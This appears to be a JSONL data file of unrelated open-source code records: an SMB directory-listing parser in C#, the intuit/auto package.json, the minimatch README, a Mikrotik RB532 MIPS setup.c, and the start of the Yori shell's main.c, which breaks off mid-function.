\"]\";\n\t\t\t}\n\n\t\t\tinternal SmbFindFileBothDirectoryInfo(Trans2FindFirst2Response enclosing)\n\t\t\t{\n\t\t\t\tthis._enclosing = enclosing;\n\t\t\t}\n\n\t\t\tprivate readonly Trans2FindFirst2Response _enclosing;\n\t\t}\n\n\t\tinternal int Sid;\n\n\t\tinternal bool IsEndOfSearch;\n\n\t\tinternal int EaErrorOffset;\n\n\t\tinternal int LastNameOffset;\n\n\t\tinternal int LastNameBufferIndex;\n\n\t\tinternal string LastName;\n\n\t\tinternal int ResumeKey;\n\n\t\tpublic Trans2FindFirst2Response()\n\t\t{\n\t\t\tCommand = SmbComTransaction2;\n\t\t\tSubCommand = Smb.SmbComTransaction.Trans2FindFirst2;\n\t\t}\n\n\t\tinternal virtual string ReadString(byte[] src, int srcIndex, int len)\n\t\t{\n\t\t\tstring str = null;\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (UseUnicode)\n\t\t\t\t{\n\t\t\t\t\t// should Unicode alignment be corrected for here?\n                    str = Runtime.GetStringForBytes(src, srcIndex, len, SmbConstants.UniEncoding);\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\tif (len > 0 && src[srcIndex + len - 1] == '\\0')\n\t\t\t\t\t{\n\t\t\t\t\t\tlen--;\n\t\t\t\t\t}\n                    str = Runtime.GetStringForBytes(src, srcIndex, len, SmbConstants.OemEncoding\n\t\t\t\t\t\t);\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (UnsupportedEncodingException uee)\n\t\t\t{\n\t\t\t\tif (Log.Level > 1)\n\t\t\t\t{\n\t\t\t\t\tRuntime.PrintStackTrace(uee, Log);\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn str;\n\t\t}\n\n\t\tinternal override int WriteSetupWireFormat(byte[] dst, int dstIndex)\n\t\t{\n\t\t\treturn 0;\n\t\t}\n\n\t\tinternal override int WriteParametersWireFormat(byte[] dst, int dstIndex)\n\t\t{\n\t\t\treturn 0;\n\t\t}\n\n\t\tinternal override int WriteDataWireFormat(byte[] dst, int dstIndex)\n\t\t{\n\t\t\treturn 0;\n\t\t}\n\n\t\tinternal override int ReadSetupWireFormat(byte[] buffer, int bufferIndex, int len\n\t\t\t)\n\t\t{\n\t\t\treturn 0;\n\t\t}\n\n\t\tinternal override int ReadParametersWireFormat(byte[] buffer, int bufferIndex, int\n\t\t\t len)\n\t\t{\n\t\t\tint start = bufferIndex;\n\t\t\tif (SubCommand == Smb.SmbComTransaction.Trans2FindFirst2)\n\t\t\t{\n\t\t\t\tSid = ReadInt2(buffer, bufferIndex);\n\t\t\t\tbufferIndex += 2;\n\t\t\t}\n\t\t\tNumEntries = ReadInt2(buffer, bufferIndex);\n\t\t\tbufferIndex += 2;\n\t\t\tIsEndOfSearch = (buffer[bufferIndex] & unchecked(0x01)) == unchecked(0x01) ? true : false;\n\t\t\tbufferIndex += 2;\n\t\t\tEaErrorOffset = ReadInt2(buffer, bufferIndex);\n\t\t\tbufferIndex += 2;\n\t\t\tLastNameOffset = ReadInt2(buffer, bufferIndex);\n\t\t\tbufferIndex += 2;\n\t\t\treturn bufferIndex - start;\n\t\t}\n\n\t\tinternal override int ReadDataWireFormat(byte[] buffer, int bufferIndex, int len)\n\t\t{\n\t\t\tint start = bufferIndex;\n\t\t\tSmbFindFileBothDirectoryInfo e;\n\t\t\tLastNameBufferIndex = bufferIndex + LastNameOffset;\n\t\t\tResults = new SmbFindFileBothDirectoryInfo[NumEntries];\n\t\t\tfor (int i = 0; i < NumEntries; i++)\n\t\t\t{\n\t\t\t\tResults[i] = e = new SmbFindFileBothDirectoryInfo(this);\n\t\t\t\te.NextEntryOffset = ReadInt4(buffer, bufferIndex);\n\t\t\t\te.FileIndex = ReadInt4(buffer, bufferIndex + 4);\n\t\t\t\te.CreationTime = ReadTime(buffer, bufferIndex + 8);\n\t\t\t\t//      e.lastAccessTime = readTime( buffer, bufferIndex + 16 );\n\t\t\t\te.LastWriteTime = ReadTime(buffer, bufferIndex + 24);\n\t\t\t\t//      e.changeTime = readTime( buffer, bufferIndex + 32 );\n\t\t\t\te.EndOfFile = ReadInt8(buffer, bufferIndex + 40);\n\t\t\t\t//      e.allocationSize = readInt8( buffer, bufferIndex + 48 );\n\t\t\t\te.ExtFileAttributes = ReadInt4(buffer, bufferIndex + 56);\n\t\t\t\te.FileNameLength = ReadInt4(buffer, bufferIndex + 60);\n\t\t\t\t//      e.eaSize = readInt4( buffer, bufferIndex + 64 );\n\t\t\t\t//      e.shortNameLength = buffer[bufferIndex + 68] & 0xFF;\n\t\t\t\t//      e.shortName = readString( buffer, bufferIndex + 70, e.shortNameLength );\n\t\t\t\te.Filename = ReadString(buffer, bufferIndex + 94, e.FileNameLength);\n\t\t\t\tif (LastNameBufferIndex >= bufferIndex && (e.NextEntryOffset == 0 || LastNameBufferIndex\n\t\t\t\t\t < (bufferIndex + e.NextEntryOffset)))\n\t\t\t\t{\n\t\t\t\t\tLastName = e.Filename;\n\t\t\t\t\tResumeKey = e.FileIndex;\n\t\t\t\t}\n\t\t\t\tbufferIndex += e.NextEntryOffset;\n\t\t\t}\n\t\t\t//return bufferIndex - start;\n\t\t\treturn DataCount;\n\t\t}\n\n\t\tpublic override string ToString()\n\t\t{\n\t\t\tstring c;\n\t\t\tif (SubCommand == Smb.SmbComTransaction.Trans2FindFirst2)\n\t\t\t{\n\t\t\t\tc = \"Trans2FindFirst2Response[\";\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tc = \"Trans2FindNext2Response[\";\n\t\t\t}\n\t\t\treturn c + base.ToString() + \",sid=\" + Sid + \",searchCount=\" + NumEntries\n\t\t\t\t + \",isEndOfSearch=\" + IsEndOfSearch + \",eaErrorOffset=\" + EaErrorOffset + \",lastNameOffset=\"\n\t\t\t\t + LastNameOffset + \",lastName=\" + LastName + \"]\";\n\t\t}\n\t}\n}\n"}
+{"text": "{\n  \"name\": \"auto-monorepo\",\n  \"private\": true,\n  \"license\": \"MIT\",\n  \"author\": {\n    \"name\": \"Andrew Lisowski\",\n    \"email\": \"lisowski54@gmail.com\"\n  },\n  \"publishConfig\": {\n    \"registry\": \"https://registry.npmjs.org/\",\n    \"access\": \"public\"\n  },\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"https://github.com/intuit/auto\"\n  },\n  \"files\": [\n    \"dist\"\n  ],\n  \"workspaces\": [\n    \"packages/*\",\n    \"plugins/*\"\n  ],\n  \"scripts\": {\n    \"clean\": \"lerna clean --yes && rimraf node_modules '+(packages|plugins)/**/+(dist|tsconfig.tsbuildinfo)'\",\n    \"semver:check\": \"./scripts/post-install.sh\",\n    \"build\": \"tsc -b tsconfig.dev.json\",\n    \"start\": \"npm run build -- --watch\",\n    \"lint\": \"eslint packages plugins --ext .ts --cache\",\n    \"test\": \"jest --runInBand\",\n    \"test:coverage\": \"npm run test -- --coverage\",\n    \"auto\": \"chmod +x ./packages/cli/dist/bin/auto.js && ./packages/cli/dist/bin/auto.js\",\n    \"contributors:add\": \"all-contributors\",\n    \"contributors:generate\": \"all-contributors generate\",\n    \"docs\": \"yarn docs:generate && ignite dev\",\n    \"docs:generate\": \"./docs/generate-command-docs.js\",\n    \"docs:build\": \"yarn docs:generate && ignite build\",\n    \"create:plugin\": \"./scripts/create-plugin.js\",\n    \"install-mac\": \"yarn lerna run bundle --scope=auto && gunzip -c ./packages/cli/binary/auto-macos.gz > /usr/local/bin/auto\"\n  },\n  \"devDependencies\": {\n    \"@fortawesome/fontawesome-svg-core\": \"^1.2.27\",\n    \"@fortawesome/free-solid-svg-icons\": \"^5.12.1\",\n    \"@fortawesome/react-fontawesome\": \"^0.1.9\",\n    \"@types/jest\": \"^26.0.0\",\n    \"@types/parse-github-url\": \"1.0.0\",\n    \"@typescript-eslint/eslint-plugin\": \"^4.1.1\",\n    \"@typescript-eslint/parser\": \"^4.1.1\",\n    \"all-contributors-cli\": \"^6.4.0\",\n    \"change-case\": \"^4.0.0\",\n    \"command-line-docs\": \"^0.0.6\",\n    \"copy-template-dir\": \"^1.4.0\",\n    \"endent\": \"^2.0.1\",\n    \"eslint\": \"^7.6.0\",\n    \"eslint-config-prettier\": \"^6.11.0\",\n    \"eslint-config-xo\": \"^0.32.1\",\n    \"eslint-plugin-import\": \"^2.22.0\",\n    \"eslint-plugin-jest\": \"^24.0.1\",\n    \"eslint-plugin-jsdoc\": \"^30.2.1\",\n    \"eslint-plugin-prettier\": \"^3.1.4\",\n    \"graphql\": \"^15.0.0\",\n    \"husky\": \"^4.0.7\",\n    \"ignite\": \"1.11.2\",\n    \"jest\": \"~26.4.2\",\n    \"jest-circus\": \"^26.0.1\",\n    \"jest-serializer-path\": \"^0.1.15\",\n    \"jest-snapshot-serializer-ansi\": \"^1.0.0\",\n    \"lerna\": \"^3.13.4\",\n    \"lint-staged\": \"^10.0.7\",\n    \"next-ignite\": \"^0.6.7\",\n    \"prettier\": \"^2.0.1\",\n    \"push-dir\": \"^0.4.1\",\n    \"rimraf\": \"^3.0.0\",\n    \"simple-react-lightbox\": \"^3.1.2-3\",\n    \"title-case\": \"^3.0.2\",\n    \"ts-jest\": \"^26.1.3\",\n    \"typescript\": \"~4.0.3\"\n  },\n  \"husky\": {\n    \"hooks\": {\n      \"pre-commit\": \"lint-staged\"\n    }\n  },\n  \"lint-staged\": {\n    \"*.{js,json,css,md}\": [\n      \"prettier --write\"\n    ],\n    \"*.{ts,tsx}\": [\n      \"prettier --parser typescript --write\",\n      \"yarn lint --fix\"\n    ]\n  },\n  \"jest\": {\n    \"preset\": \"ts-jest\",\n    \"testEnvironment\": \"node\",\n    \"moduleFileExtensions\": [\n      \"ts\",\n      \"js\",\n      \"json\"\n    ],\n    \"testMatch\": [\n      \"**/__tests__/*.test.+(ts|tsx|js)\",\n      \"!**/dist/**/*\",\n      \"!**/scripts/template-plugin/**/*\"\n    ],\n    \"testRunner\": \"jest-circus/runner\",\n    \"snapshotSerializers\": [\n      \"jest-serializer-path\",\n      \"jest-snapshot-serializer-ansi\"\n    ],\n    \"coverageDirectory\": \"./coverage\",\n    \"collectCoverageFrom\": [\n      \"packages/**/*.ts\",\n      \"plugins/**/*.ts\",\n      \"!**/dist/**/*\",\n      \"!**/*.test.ts\",\n      \"!**/__tests__/**/*\"\n    ],\n    \"coverageReporters\": [\n      \"cobertura\",\n      \"html\",\n      \"lcov\",\n      \"text\"\n    ]\n  },\n  \"ignite\": {\n    \"repo\": \"intuit/auto\",\n    \"name\": \"auto\",\n    \"url\": \"https://intuit.github.io/auto\"\n  },\n  \"auto\": {\n    \"plugins\": [\n      [\n        \"npm\",\n        {\n          \"exact\": true,\n          \"canaryScope\": \"@auto-canary\"\n        }\n      ],\n      \"released\",\n      \"first-time-contributor\",\n      \"./scripts/auto-update-curl-version.js\",\n      [\n        \"all-contributors\",\n        {\n          \"types\": {\n            \"plugin\": \"**/plugin/**/*\",\n            \"code\": [\n              \"**/src/**/*\",\n              \"**/package.json\",\n              \"**/tsconfig.json\"\n            ]\n          }\n        }\n      ],\n      [\n        \"upload-assets\",\n        [\n          \"./packages/cli/binary/auto-linux.gz\",\n          \"./packages/cli/binary/auto-macos.gz\",\n          \"./packages/cli/binary/auto-win.exe.gz\"\n        ]\n      ],\n      [\n        \"brew\",\n        {\n          \"executable\": \"./packages/cli/binary/auto-macos.gz\",\n          \"name\": \"auto\"\n        }\n      ],\n      [\n        \"gh-pages\",\n        {\n          \"buildCommand\": \"yarn docs:build\",\n          \"dir\": \"docs/out\"\n        }\n      ]\n    ],\n    \"labels\": [\n      {\n        \"name\": \"blog-post\",\n        \"changelogTitle\": \"📚 Blog Post\",\n        \"releaseType\": \"none\"\n      }\n    ]\n  }\n}\n"}
+{"text": "# minimatch\n\nA minimal matching utility.\n\n[![Build Status](https://secure.travis-ci.org/isaacs/minimatch.svg)](http://travis-ci.org/isaacs/minimatch)\n\n\nThis is the matching library used internally by npm.\n\nIt works by converting glob expressions into JavaScript `RegExp`\nobjects.\n\n## Usage\n\n```javascript\nvar minimatch = require(\"minimatch\")\n\nminimatch(\"bar.foo\", \"*.foo\") // true!\nminimatch(\"bar.foo\", \"*.bar\") // false!\nminimatch(\"bar.foo\", \"*.+(bar|foo)\", { debug: true }) // true, and noisy!\n```\n\n## Features\n\nSupports these glob features:\n\n* Brace Expansion\n* Extended glob matching\n* \"Globstar\" `**` matching\n\nSee:\n\n* `man sh`\n* `man bash`\n* `man 3 fnmatch`\n* `man 5 gitignore`\n\n## Minimatch Class\n\nCreate a minimatch object by instantiating the `minimatch.Minimatch` class.\n\n```javascript\nvar Minimatch = require(\"minimatch\").Minimatch\nvar mm = new Minimatch(pattern, options)\n```\n\n### Properties\n\n* `pattern` The original pattern the minimatch object represents.\n* `options` The options supplied to the constructor.\n* `set` A 2-dimensional array of regexp or string expressions.\n  Each row in the\n  array corresponds to a brace-expanded pattern.  Each item in the row\n  corresponds to a single path-part.  For example, the pattern\n  `{a,b/c}/d` would expand to a set of patterns like:\n\n        [ [ a, d ]\n        , [ b, c, d ] ]\n\n    If a portion of the pattern doesn't have any \"magic\" in it\n    (that is, it's something like `\"foo\"` rather than `fo*o?`), then it\n    will be left as a string rather than converted to a regular\n    expression.\n\n* `regexp` Created by the `makeRe` method.  A single regular expression\n  expressing the entire pattern.  This is useful in cases where you wish\n  to use the pattern somewhat like `fnmatch(3)` with `FNM_PATH` enabled.\n* `negate` True if the pattern is negated.\n* `comment` True if the pattern is a comment.\n* `empty` True if the pattern is `\"\"`.\n\n### Methods\n\n* `makeRe` Generate the `regexp` member if necessary, and return it.\n  Will return `false` if the pattern is invalid.\n* `match(fname)` Return true if the filename matches the pattern, or\n  false otherwise.\n* `matchOne(fileArray, patternArray, partial)` Take a `/`-split\n  filename, and match it against a single row in the `regExpSet`.  This\n  method is mainly for internal use, but is exposed so that it can be\n  used by a glob-walker that needs to avoid excessive filesystem calls.\n\nAll other methods are internal, and will be called as necessary.\n\n### minimatch(path, pattern, options)\n\nMain export.  Tests a path against the pattern using the options.\n\n```javascript\nvar isJS = minimatch(file, \"*.js\", { matchBase: true })\n```\n\n### minimatch.filter(pattern, options)\n\nReturns a function that tests its\nsupplied argument, suitable for use with `Array.filter`.  Example:\n\n```javascript\nvar javascripts = fileList.filter(minimatch.filter(\"*.js\", {matchBase: true}))\n```\n\n### minimatch.match(list, pattern, options)\n\nMatch against the list of\nfiles, in the style of fnmatch or glob.  If nothing is matched, and\noptions.nonull is set, then return a list containing the pattern itself.\n\n```javascript\nvar javascripts = minimatch.match(fileList, \"*.js\", {matchBase: true}))\n```\n\n### minimatch.makeRe(pattern, options)\n\nMake a regular expression object from the pattern.\n\n## Options\n\nAll options are `false` by default.\n\n### debug\n\nDump a ton of stuff to stderr.\n\n### nobrace\n\nDo not expand `{a,b}` and `{1..3}` brace sets.\n\n### noglobstar\n\nDisable `**` matching against multiple folder names.\n\n### dot\n\nAllow patterns to match filenames starting with a period, even if\nthe pattern does not explicitly have a period in that spot.\n\nNote that by default, `a/**/b` will **not** match `a/.d/b`, unless `dot`\nis set.\n\n### noext\n\nDisable \"extglob\" style patterns like `+(a|b)`.\n\n### nocase\n\nPerform a case-insensitive match.\n\n### nonull\n\nWhen a match is not found by `minimatch.match`, return a list containing\nthe pattern itself if this option is set.  When not set, an empty list\nis returned if there are no matches.\n\n### matchBase\n\nIf set, then patterns without slashes will be matched\nagainst the basename of the path if it contains slashes.  For example,\n`a?b` would match the path `/xyz/123/acb`, but not `/xyz/acb/123`.\n\n### nocomment\n\nSuppress the behavior of treating `#` at the start of a pattern as a\ncomment.\n\n### nonegate\n\nSuppress the behavior of treating a leading `!` character as negation.\n\n### flipNegate\n\nReturns from negate expressions the same as if they were not negated.\n(Ie, true on a hit, false on a miss.)\n\n\n## Comparisons to other fnmatch/glob implementations\n\nWhile strict compliance with the existing standards is a worthwhile\ngoal, some discrepancies exist between minimatch and other\nimplementations, and are intentional.\n\nIf the pattern starts with a `!` character, then it is negated.  Set the\n`nonegate` flag to suppress this behavior, and treat leading `!`\ncharacters normally.  This is perhaps relevant if you wish to start the\npattern with a negative extglob pattern like `!(a|B)`.  Multiple `!`\ncharacters at the start of a pattern will negate the pattern multiple\ntimes.\n\nIf a pattern starts with `#`, then it is treated as a comment, and\nwill not match anything.  Use `\\#` to match a literal `#` at the\nstart of a line, or set the `nocomment` flag to suppress this behavior.\n\nThe double-star character `**` is supported by default, unless the\n`noglobstar` flag is set.  This is supported in the manner of bsdglob\nand bash 4.1, where `**` only has special significance if it is the only\nthing in a path part.  That is, `a/**/b` will match `a/x/y/b`, but\n`a/**b` will not.\n\nIf an escaped pattern has no matches, and the `nonull` flag is set,\nthen minimatch.match returns the pattern as-provided, rather than\ninterpreting the character escapes.  For example,\n`minimatch.match([], \"\\\\*a\\\\?\")` will return `\"\\\\*a\\\\?\"` rather than\n`\"*a?\"`.  This is akin to setting the `nullglob` option in bash, except\nthat it does not resolve escaped pattern characters.\n\nIf brace expansion is not disabled, then it is performed before any\nother interpretation of the glob pattern.  Thus, a pattern like\n`+(a|{b),c)}`, which would not be valid in bash or zsh, is expanded\n**first** into the set of `+(a|b)` and `+(a|c)`, and those patterns are\nchecked for validity.  Since those two are valid, matching proceeds.\n"}
+{"text": "/*\n * setup.c - boot time setup code\n */\n\n#include \n#include \n\n#include \n#include \n#include \n#include \n\n#include \n#include \n\nstruct pci_reg __iomem *pci_reg;\nEXPORT_SYMBOL(pci_reg);\n\nstatic struct resource pci0_res[] = {\n\t{\n\t\t.name = \"pci_reg0\",\n\t\t.start = PCI0_BASE_ADDR,\n\t\t.end = PCI0_BASE_ADDR + sizeof(struct pci_reg),\n\t\t.flags = IORESOURCE_MEM,\n\t}\n};\n\nstatic void rb_machine_restart(char *command)\n{\n\t/* just jump to the reset vector */\n\twritel(0x80000001, IDT434_REG_BASE + RST);\n\t((void (*)(void)) KSEG1ADDR(0x1FC00000u))();\n}\n\nstatic void rb_machine_halt(void)\n{\n\tfor (;;)\n\t\tcontinue;\n}\n\nvoid __init plat_mem_setup(void)\n{\n\tu32 val;\n\n\t_machine_restart = rb_machine_restart;\n\t_machine_halt = rb_machine_halt;\n\tpm_power_off = rb_machine_halt;\n\n\tset_io_port_base(KSEG1);\n\n\tpci_reg = ioremap_nocache(pci0_res[0].start,\n\t\t\t\tpci0_res[0].end - pci0_res[0].start);\n\tif (!pci_reg) {\n\t\tprintk(KERN_ERR \"Could not remap PCI registers\\n\");\n\t\treturn;\n\t}\n\n\tval = __raw_readl(&pci_reg->pcic);\n\tval &= 0xFFFFFF7;\n\t__raw_writel(val, (void *)&pci_reg->pcic);\n\n#ifdef CONFIG_PCI\n\t/* Enable PCI interrupts in EPLD Mask register */\n\t*epld_mask = 0x0;\n\t*(epld_mask + 1) = 0x0;\n#endif\n\twrite_c0_wired(0);\n}\n\nconst char *get_system_type(void)\n{\n\tswitch (mips_machtype) {\n\tcase MACH_MIKROTIK_RB532A:\n\t\treturn \"Mikrotik RB532A\";\n\t\tbreak;\n\tdefault:\n\t\treturn \"Mikrotik RB532\";\n\t\tbreak;\n\t}\n}\n"}
+{"text": "/**\r\n * @file sh/main.c\r\n *\r\n * Yori shell entrypoint\r\n *\r\n * Copyright (c) 2017-2020 Malcolm J. Smith\r\n *\r\n * Permission is hereby granted, free of charge, to any person obtaining a copy\r\n * of this software and associated documentation files (the \"Software\"), to deal\r\n * in the Software without restriction, including without limitation the rights\r\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\r\n * copies of the Software, and to permit persons to whom the Software is\r\n * furnished to do so, subject to the following conditions:\r\n *\r\n * The above copyright notice and this permission notice shall be included in\r\n * all copies or substantial portions of the Software.\r\n *\r\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\r\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\r\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\r\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\r\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\r\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\r\n * THE SOFTWARE.\r\n */\r\n\r\n#include \"yori.h\"\r\n\r\n/**\r\n Mutable state that is global across the shell process.\r\n */\r\nYORI_SH_GLOBALS YoriShGlobal;\r\n\r\n/**\r\n Help text to display to the user.\r\n */\r\nconst\r\nCHAR strHelpText[] =\r\n        \"\\n\"\r\n        \"Start a Yori shell instance.\\n\"\r\n        \"\\n\"\r\n        \"YORI [-license] [-c ] [-k ]\\n\"\r\n        \"\\n\"\r\n        \"   -license       Display license text\\n\"\r\n        \"   -c        Execute command and terminate the shell\\n\"\r\n        \"   -k        Execute command and continue as an interactive shell\\n\"\r\n        \"   -nouser        Do not execute per-user AutoInit scripts\\n\";\r\n\r\n/**\r\n Display usage text to the user.\r\n */\r\nBOOL\r\nYoriShHelp()\r\n{\r\n    YoriLibOutput(YORI_LIB_OUTPUT_STDOUT, _T(\"Yori %i.%02i\\n\"), YORI_VER_MAJOR, YORI_VER_MINOR);\r\n#if YORI_BUILD_ID\r\n    YoriLibOutput(YORI_LIB_OUTPUT_STDOUT, _T(\"  Build %i\\n\"), YORI_BUILD_ID);\r\n#endif\r\n    YoriLibOutput(YORI_LIB_OUTPUT_STDOUT, _T(\"%hs\"), strHelpText);\r\n    return TRUE;\r\n}\r\n\r\n/**\r\n A callback function for every file found in the YoriInit.d directory.\r\n\r\n @param Filename Pointer to the fully qualified file name to execute.\r\n\r\n @param FileInfo Pointer to information about the file.  Ignored in this\r\n        function.\r\n\r\n @param Depth The recursion depth.  Ignored in this function.\r\n\r\n @param Context Pointer to context.  Ignored in this function.\r\n\r\n @return TRUE to continue enumerating, FALSE to terminate.\r\n */\r\nBOOL\r\nYoriShExecuteYoriInit(\r\n    __in PYORI_STRING Filename,\r\n    __in PWIN32_FIND_DATA FileInfo,\r\n    __in DWORD Depth,\r\n    __in PVOID Context\r\n    )\r\n{\r\n    YORI_STRING InitNameWithQuotes;\r\n    LPTSTR szExt;\r\n    YORI_STRING UnescapedPath;\r\n    PYORI_STRING NameToUse;\r\n\r\n    UNREFERENCED_PARAMETER(FileInfo);\r\n    UNREFERENCED_PARAMETER(Depth);\r\n    UNREFERENCED_PARAMETER(Context);\r\n\r\n    YoriLibInitEmptyString(&UnescapedPath);\r\n    NameToUse = Filename;\r\n    szExt = YoriLibFindRightMostCharacter(Filename, '.');\r\n    if (szExt != NULL) {\r\n        YORI_STRING YsExt;\r\n\r\n        YoriLibInitEmptyString(&YsExt);\r\n        YsExt.StartOfString = szExt;\r\n        YsExt.LengthInChars = Filename->LengthInChars - (DWORD)(szExt - Filename->StartOfString);\r\n        if (YoriLibCompareStringWithLiteralInsensitive(&YsExt, _T(\".cmd\")) == 0 ||\r\n            YoriLibCompareStringWithLiteralInsensitive(&YsExt, _T(\".bat\")) == 0) {\r\n\r\n            if (YoriLibUnescapePath(Filename, &UnescapedPath)) {\r\n                NameToUse = &UnescapedPath;\r\n            }\r\n        }\r\n    }\r\n\r\n    YoriLibInitEmptyString(&InitNameWithQuotes);\r\n    YoriLibYPrintf(&InitNameWithQuotes, _T(\"\\\"%y\\\"\"), NameToUse);\r\n    if (InitNameWithQuotes.LengthInChars > 0) {\r\n        YoriShExecuteExpression(&InitNameWithQuotes);\r\n    }\r\n    YoriLibFreeStringContents(&InitNameWithQuotes);\r\n    YoriLibFreeStringContents(&UnescapedPath);\r\n    return TRUE;\r\n}\r\n\r\n/**\r\n Initialize the console and populate the shell's environment with default\r\n values.\r\n */\r\nBOOL\r\nYoriShInit()\r\n{\r\n    TCHAR Letter;\r\n    TCHAR AliasName[3];\r\n    TCHAR AliasValue[16];\r\n    YORI_SH_BUILTIN_NAME_MAPPING CONST *BuiltinNameMapping = YoriShBuiltins;\r\n\r\n    //\r\n    //  Attempt to enable backup privilege so an administrator can access more\r\n    //  objects successfully.\r\n    //\r\n\r\n    YoriLibEnableBackupPrivilege();\r\n\r\n    //\r\n    //  Translate the constant builtin function mapping into dynamic function\r\n    //  mappings.\r\n    //\r\n\r\n    while (BuiltinNameMapping->CommandName != NULL) {\r\n        YORI_STRING YsCommandName;\r\n\r\n        YoriLibConstantString(&YsCommandName, BuiltinNameMapping->CommandName);\r\n        if (!YoriShBuiltinRegister(&YsCommandName, BuiltinNameMapping->BuiltinFn)) {\r\n            return FALSE;\r\n        }\r\n        BuiltinNameMapping++;\r\n    }\r\n\r\n    //\r\n    //  If we don't have a prompt defined, set a default.  If outputting to\r\n    //  the console directly, use VT color; otherwise, default to monochrome.\r\n    //\r\n\r\n    if (YoriShGetEnvironmentVariableWithoutSubstitution(_T(\"YORIPROMPT\"), NULL, 0, NULL) == 0) {\r\n        DWORD ConsoleMode;\r\n        if (GetConsoleMode(GetStdHandle(STD_INPUT_HANDLE), &ConsoleMode)) {\r\n            SetEnvironmentVariable(_T(\"YORIPROMPT\"), _T(\"$E$[35;1m$P$$E$[0m$G_OR_ADMIN_G$\"));\r\n        } else {\r\n            SetEnvironmentVariable(_T(\"YORIPROMPT\"), _T(\"$P$$G_OR_ADMIN_G$\"));\r\n        }\r\n    }\r\n\r\n    //\r\n    //  If we don't have defined break characters, set them to the default.\r\n    //  This allows the user to see the current set and manipulate them.\r\n    //\r\n\r\n    if (YoriShGetEnvironmentVariableWithoutSubstitution(_T(\"YORIQUICKEDITBREAKCHARS\"), NULL, 0, NULL) == 0) {\r\n        YORI_STRING BreakChars;\r\n        YORI_STRING ExpandedBreakChars;\r\n        YoriLibGetSelectionDoubleClickBreakChars(&BreakChars);\r\n        if (YoriLibAllocateString(&ExpandedBreakChars, BreakChars.LengthInChars * 7)) {\r\n            DWORD ReadIndex;\r\n            DWORD WriteIndex;\r\n            YORI_STRING Substring;\r\n\r\n            WriteIndex = 0;\r\n            YoriLibInitEmptyString(&Substring);\r\n            for (ReadIndex = 0; ReadIndex < BreakChars.LengthInChars; ReadIndex++) {\r\n                Substring.StartOfString = &ExpandedBreakChars.StartOfString[WriteIndex];\r\n                Substring.LengthAllocated = ExpandedBreakChars.LengthAllocated - WriteIndex;\r\n                if (BreakChars.StartOfString[ReadIndex] <= 0xFF) {\r\n                    Substring.LengthInChars = YoriLibSPrintf(Substring.StartOfString, _T(\"0x%02x,\"), BreakChars.StartOfString[ReadIndex]);\r\n                } else {\r\n                    Substring.LengthInChars = YoriLibSPrintf(Substring.StartOfString, _T(\"0x%04x,\"), BreakChars.StartOfString[ReadIndex]);\r\n                }\r\n\r\n                WriteIndex += Substring.LengthInChars;\r\n            }\r\n\r\n            if (WriteIndex > 0) {\r\n                WriteIndex--;\r\n                ExpandedBreakChars.StartOfString[WriteIndex] = '\\0';\r\n            }\r\n            SetEnvironmentVariable(_T(\"YORIQUICKEDITBREAKCHARS\"), ExpandedBreakChars.StartOfString);\r\n            YoriLibFreeStringContents(&ExpandedBreakChars);\r\n        }\r\n        YoriLibFreeStringContents(&BreakChars);\r\n    }\r\n\r\n    //\r\n    //  If we're running Yori and don't have a YORISPEC, assume this is the\r\n    //  path to the shell the user wants to keep using.\r\n    //\r\n\r\n    if (YoriShGetEnvironmentVariableWithoutSubstitution(_T(\"YORISPEC\"), NULL, 0, NULL) == 0) {\r\n        YORI_STRING ModuleName;\r\n\r\n        //\r\n        //  Unlike most other Win32 APIs, this one has no way to indicate\r\n        //  how much space it needs.  We can be wasteful here though, since\r\n        //  it'll be freed immediately.\r\n        //\r\n\r\n        if (!YoriLibAllocateString(&ModuleName, 32768)) {\r\n            return FALSE;\r\n        }\r\n\r\n        ModuleName.LengthInChars = GetModuleFileName(NULL, ModuleName.StartOfString, ModuleName.LengthAllocated);\r\n        if (ModuleName.LengthInChars > 0 && ModuleName.LengthInChars < ModuleName.LengthAllocated) {\r\n            SetEnvironmentVariable(_T(\"YORISPEC\"), ModuleName.StartOfString);\r\n            while (ModuleName.LengthInChars > 0) {\r\n                ModuleName.LengthInChars--;\r\n                if (YoriLibIsSep(ModuleName.StartOfString[ModuleName.LengthInChars])) {\r\n\r\n                    YoriLibAddEnvironmentComponent(_T(\"PATH\"), &ModuleName, TRUE);\r\n                    break;\r\n                }\r\n            }\r\n        }\r\n\r\n        if (YoriShGetEnvironmentVariableWithoutSubstitution(_T(\"YORICOMPLETEPATH\"), NULL, 0, NULL) == 0) {\r\n            YORI_STRING CompletePath;\r\n\r\n            if (YoriLibAllocateString(&CompletePath, ModuleName.LengthInChars + sizeof(\"\\\\completion\"))) {\r\n                CompletePath.LengthInChars = YoriLibSPrintf(CompletePath.StartOfString, _T(\"%y\\\\completion\"), &ModuleName);\r\n                YoriLibAddEnvironmentComponent(_T(\"YORICOMPLETEPATH\"), &CompletePath, FALSE);\r\n                YoriLibFreeStringContents(&CompletePath);\r\n            }\r\n        }\r\n\r\n        YoriLibFreeStringContents(&ModuleName);\r\n    }\r\n\r\n    //\r\n    //  Add .YS1 to PATHEXT if it's not there already.\r\n    //\r\n\r\n    if (YoriShGetEnvironmentVariableWithoutSubstitution(_T(\"PATHEXT\"), NULL, 0, NULL) == 0) {\r\n        SetEnvironmentVariable(_T(\"PATHEXT\"), _T(\".YS1;.COM;.EXE;.CMD;.BAT\"));\r\n    } else {\r\n        YORI_STRING NewExt;\r\n        YoriLibConstantString(&NewExt, _T(\".YS1\"));\r\n        YoriLibAddEnvironmentComponent(_T(\"PATHEXT\"), &NewExt, TRUE);\r\n    